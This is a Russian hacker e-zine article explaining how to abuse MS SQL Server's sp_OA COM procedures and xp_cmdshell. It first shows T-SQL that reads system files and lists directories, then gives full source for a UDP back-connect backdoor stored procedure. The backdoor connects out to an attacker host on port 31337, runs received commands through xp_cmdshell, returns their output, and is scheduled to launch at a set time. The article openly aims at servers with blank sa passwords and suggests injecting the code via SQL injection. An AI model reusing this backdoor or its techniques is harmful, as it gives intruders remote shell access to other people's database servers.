{ MS SQL backdoor on T-SQL language }

 
    Как-то наткнувшись в очередной раз на MSSQL-2000 с неустановленным для sa паролем, я хотел уж было привычным скриптом залить бэкдор (через использование ftp.exe) - но мне стало вдруг интересно а возможно написать бэкдор на самом языке SQL - те что бы код выполняться от процесса сервера. Тк данный сервер находился внутри сети организации и не имел внешнего ип адреса - то я стал писать back-connect бэкдор.

В базе данных master SQL Server'а есть несколько интересных хранимых процедур, предназначенных для доступа к COM объектам. А как известно COM технология - это подарок от ребят из microsoft для всех хакеров. Поэтому грех не воспользоваться ей в своих целях ;) Всего существуют 6 процедур:

  • sp_OACreate - создаёт экземпляр COM объекта
  • sp_OADestroy - освобождает память, занимаемую созданным объектом
  • sp_OAGetErrorInfo - информация об ошибке
  • sp_OAGetProperty - получает значение свойства объекта
  • sp_OAMethod - вызывет метод
  • sp_OASetProperty - устанавливает свойства
Рассмотрим подробнее все процедуры и то как мы их можем использовать в нашей нелёгкой деятельности...

sp_OACreate progid, | clsid, objecttoken OUTPUT [, contex]
Первый параметр - это идентификатор существующего объекта. Это может быть либо программный идентификатор (progid) или идеентификатор класса (clsid). Удобнее конечно е пользоваться програмными идентификаторами, которые задются в форме OLEКомпонент.объект
Во втором параметре (objecttoken) нам возвратится идентификатор объекта, который мы должны использовать в остальных функциях для ссылке на этот объект (имеет тип int).
Третий параметр указывает адресное пространство в котором будет выполняться COM-объект - значение 1 указывает что объект будет выполняться в адресном пространстве SQL сервера (in-process), а значение 4 - в собственном адресном пространстве (out-of-process). Так же есть значение 5, которое разрешает оба режима. Разница в том что in-process выполняется быстрее, а out-of-process по идее более безопасный метод. Если значение 4 явно не заданно - то объект выполняется в адресном пространстве SQL сервера.

sp_OADestroy objecttoken
Естественно что SQL сервер сам почистит объекты, но правила хорошего тона диктуют необходимость такой процедуры, единственный параметр - идентификатор объекта, полученный вызовом sp_OACreate

sp_OAGetProperty objecttoken, propertyname [, propertyvalue OUTPUT] [, index ...]
Первый параметр - эт идентификатор объекта, второй строка, содержащая имя свойства. В третьем возвращается значение свойства (его тип должен соответвовать типу данных свойства). Параметр index используется для чтения индексированных свойств.

sp_OASetProperty objecttoken, propertyname, newvalue [, index ...]
Первый параметр - эт идентификатор объекта, второй строка, содержащая имя свойства. Третий параметр это новое значение свойства, а index используется для установки индексируемых свойств.

sp_OAMethod objecttoken, methodname [ ,returnvalue OUTPUT ] [ , [@parametername=] parametr [OUTPUT] [...n] ]
Первый параметр ессно это идентификатор, во втором параметре задаётся имя метода и его параметры. В третьем процедура возвращает значение, которое вернёт вызванный метод. Четвёртый параметр будет содержать значения выходных параметров. Поэтому для него нужно задать столько переменных сколько у метода выходных параметров.
Если метод возвращает объект - то тип returnvalue лучше задавать int - с целью последующего использования объектов в процедурах sp_OA.

sp_OAGetErrorInfo [objecttoken] [, source OUTPUT] [, description OUTPUT] [,helpfile OUTPUT] [, helpid OUTPUT]
Соответвенно первый входной параметр традиционно у нас идентификатор объекта, а остальные параметры выходные - это переменные любого символьного типа. В них вернётся имя источника ошибки, описание ошибки, имя help файла OLE объекта, и contex id соответвующий странице в файле справки.

Вот и наш основной арсенал. Не много, но достаточно =)

Например пошаримся по файловой системе. Для этого используем объект Scripting.filesystemobject. Так мы можем прочитать файл:

declare @fso int, @file int, @ret int
declare @line varchar(8000)

exec sp_OACreate 'scripting.filesystemobject', @fso out

exec sp_OAMethod @fso, 'opentextfile', @file out, 'c:\boot.ini', 1

exec @ret = sp_OAMethod @file, 'readline', @line out

while( @ret = 0 )
begin
	print @line
	exec @ret = sp_OAMethod @file, 'readline', @line out
end
К сожалению работать с объектами типа Dictionary нормально мне не удалось (к которым в итоге и относятся объекты по работе с файловой системой). Так такой простой код на VB:
Set d = CreateObject("Scripting.Dictionary")
  d.Add "a", "Athens"     ' Add some keys and items.
  d.Add "b", "Belgrade"
  d.Add "c", "Cairo"
  For each a in d 
     ' do some shit
	 ...
  Next
перевести на SQL неудалось из-за невозможности повторить цикл for each =( Остаётся ещё свойство Item - но в лучших традициях VB для доступа к нему требуется указать полное имя, а не индекс - те Item ("bla") вместо нормального Item(1).

Однако мы можем выполнить этот код через срипт на VB - который запустим через COM Объект MSScriptControl.ScriptControl, вот пример листинга директории:

declare @hr int, @script_object int
declare @script_text varchar(8000)
declare @paramOut varchar(8000)

set @script_text = '
function Main ()
	Set fso=CreateObject("Scripting.FileSystemObject")
	Set objFso=fso.GetFolder("C:\")
		
	Set fileList=objFso.Files

	ret = ""
	For Each j In fileList
		ret = ret + ";"+j.name
	Next
	Set fso = Nothing
	Main = ret+";"
end function'

-- create VB script
exec @hr = sp_OACreate 'MSScriptControl.ScriptControl', @script_object out
if @hr <> 0 goto SCR_ERROR
exec @hr = sp_OASetProperty @script_object, 'Language', 'VBScript' 
if @hr <> 0 goto SCR_ERROR 
exec @hr =   sp_OAMethod  @script_object, 'AddCode', NULL, @script_text 
if @hr <> 0 goto SCR_ERROR 

-- run script:
exec @hr =  sp_OAMethod  @script_object, 'Run', @paramOut OUT, 'Main'
if @hr <> 0 goto SCR_ERROR 

select @paramOut
goto OK

-- error 
SCR_ERROR:
	exec sp_OAGetErrorInfo @script_object, @src OUT, @desc OUT
	select hr=CONVERT (VARBINARY(4), @hr), Source=@src, Description=@desc
OK:
Как видите всё очень просто - мы устанавливаем язык (свойство Laguage = VBScript), добавляем код через метод AddCode и вызываем его через метод Run.

Теперь пора поговорить о правах. Для использования sp_OA необходимо иметь права sysadmin, что конечно в реальном мире встречается редко (но всё же встречается ;). Однако есть и хорошая новость - по дефолту SQL сервер запускается с учёткой SYSTEM, с пустым паролем для пользователя sa и со всеми вытекающими правами ;)

И наконец, леди и джентельмены собственно то ради чего вы прочитали всё что написанно выше - бэкдор:


-- Simple UDP back-connect MS-SQL backdoor
-- Special for MaZaFaKa.Ru E-zine #5

create procedure pUDPBackDoor
as
-- variables
declare @message varchar(255), @temp varchar(255)
declare @mb varbinary(255)
declare @hr int , @obj int, @state int
declare @src varchar(255), @desc varchar(255)
declare @chdir varchar(255)

-- temp table
create table #t (
	id int identity,
	result varchar(255) NULL,
	primary key (id)
)

-- cursor for table data
declare TableData cursor for
	select result from #t
	for read only

-- init winsock
exec @hr=sp_OACreate 'MSWinSock.Winsock', @obj OUT
if @hr <> 0 goto ERROR
exec @hr=sp_OASetProperty @obj, 'Protocol',1
if @hr <> 0 goto ERROR
exec @hr=sp_OASetProperty @obj, 'RemoteHost','angry.hacker.microsoft.com'
if @hr <> 0 goto ERROR
exec @hr=sp_OASetProperty @obj, 'RemotePort',31337
if @hr <> 0 goto ERROR

-- send welcome message
set @message = 'Hello'
set @temp = (select @message)
set @mb=cast(@message as varbinary(255))
exec @hr=sp_OAMethod @obj,'SendData',NULL,@mb
if @hr <> 0 goto ERROR
set @state = 3 -- wait for command mode / show cmd

-- current dir support 
insert #t exec master..xp_cmdshell 'chdir'
set @chdir = (select top 1 'cd '+result from #t)
delete from #t

-- main loop
while (1 = 1)
begin
	if @state = 3
	begin		
		set @state = 2
		-- create console
		set @message = ( select replace (@chdir, 'cd ', '')+'>')
		set @mb = cast (@message as varbinary(255))
		exec @hr=sp_OAMethod @obj,'SendData',NULL,@mb
		if @hr <> 0 goto ERROR
	end
	-- recv block
	set @mb = 0
	exec @hr=sp_OAMethod @obj,'GetData', NULL, @mb out, 255
	if @hr <> 0 goto ERROR

	-- convert data
	set @message = cast (@mb as varchar(255))
	set @message = (select replace (@message, char(10), ''))
	set @message = (select replace (@message, char(13), ''))
	
	-- command block: 
	if  @message = 'quit' break -- goodbuy
	if (@message like 'cd %') 
	begin
		set @chdir = (select @message) -- save cd command
		set @state = 3
	end
	if (@message <> '') and (@message<>@temp) and (@message not like 'cd %')
	begin
		-- save last cmd
		set @temp = (select @message)

		-- exec shell
		set @message  = (select @chdir+' && '+@message) -- cd current dir + command
		insert #t exec master..xp_cmdshell @message

		-- send data mode
		set @state = 1		
	end

	-- send block
	if (@state = 1)
	begin
		-- send all from table
		open TableData
		while (1 = 1)
		begin
			fetch next from TableData
			into @message

			if @@FETCH_STATUS <> 0 break
			
			-- format and send
			set @message = (select @message+char(10)+char(13))
			set @mb = cast (@message as varbinary(255))
			exec @hr=sp_OAMethod @obj,'SendData',NULL,@mb
			if @hr <> 0 goto ERROR
		end
		close TableData
		
		set @state = 3 --recv data mode
		delete from #t --delete temp data
	end
	
	WAITFOR DELAY '000:00:1'	
end

-- clear object
exec @hr = sp_OADestroy @obj
if @hr <> 0 goto ERROR
goto OK

-- error for localhost test only !!!!
ERROR:
--exec sp_OAGetErrorInfo @obj, @src OUT, @desc OUT
--select hr=CONVERT (VARBINARY(4), @hr), Source=@src, Description=@desc

--  clear temp data
OK:
drop table #t
deallocate TableData

GO
WAITFOR TIME '20:30'
exec pUDPBackDoor

GO
Данный скрипт создаёт хранимую процедуру pUDPBackDoor (бэкдор), ожидает 20:30 и запускает бэкдор. Код для удаления слев ввиде процедуре думаю все (кто владеет языком SQL) смогут написать сами. Давайте разберём бэкдор подробнее - при объялениии переменных мы создаём временную таблицу - она будет хранить результаты выполнения команд и курсор для выборки данных из неё.

Для работы по сети мы используем объект MSWinSock.Winsock - после его создани указываем что будем использовать UDP - устанавливаем свойсво Protocol = 1, а так же помещаем в RemoteHost и RemotePort - значения хоста к которому мы совершаем коннект и номер порта. Далее мы используем метод SendData для отправки "приглашения" - братите внимание перед отправкой мы преобразуем сообщение в тип varbinary, ибо если используется бинарный тип - то всё передётя as is, если же использовать строковый тип - то почему то передаётся указатель....

Тк это простой бэкдор - то мы не будем заморачиваться с выполнением команд через COM объекты - а будем выполнять команды через вызов master..xp_cmdshell (если ваш аккаунт не имеет прав для доступа к этой процедуре - то вам придётся написать несколько If-else блоков для повторения основных команд через COM объект Scripting.filesystemobject - примеры смотри выше).

В данном скрипте переменная @state - отвечает за текущее состояние - возможные значения:

  • 1 - нам надо послать данные
  • 2 - ничего не делаем
  • 3 - создаём приглашение консоли - те что бы отображался путь - необязательное украшательство - но удобно =)
Так же в скрипт включеа поддержка команды cd (так же занимает довольно большо кусок, который можно выкинуть) - всё что она делает это запомнает текущую дирекрию и перед получнием новой команды выполняет cd Dir && New_Cmd

Тк результат выполнения master..xp_cmdshell заносится в таблицу - то нам надо его от туда извлеч и отправить назад - для этого воспользуемся курсором. Ну и в завершение скрипта прикручен вывод ошибок (если надо).

Возможно ли внедерение такого кода через SQL-injection ? а то =) Для этого советую доки и линки:


    Links
  • SQL Book Online (хотя и зовётся онлайн - но почемуто входит в состав MSSQL сервера ввиде справки)
  • http://www.sql.ru и в частности http://www.sql.ru/faq/faq_topic.aspx?fid=104 - Динамический запрос или "переменная @Tablename" by Glory
  • Advanced SQL Injection In SQL Server Applications by Chris Anley http://www.ngssoftware.com
  • (more) Advanced SQL Injection by Chris Anley http://www.ngssoftware.com
 
  said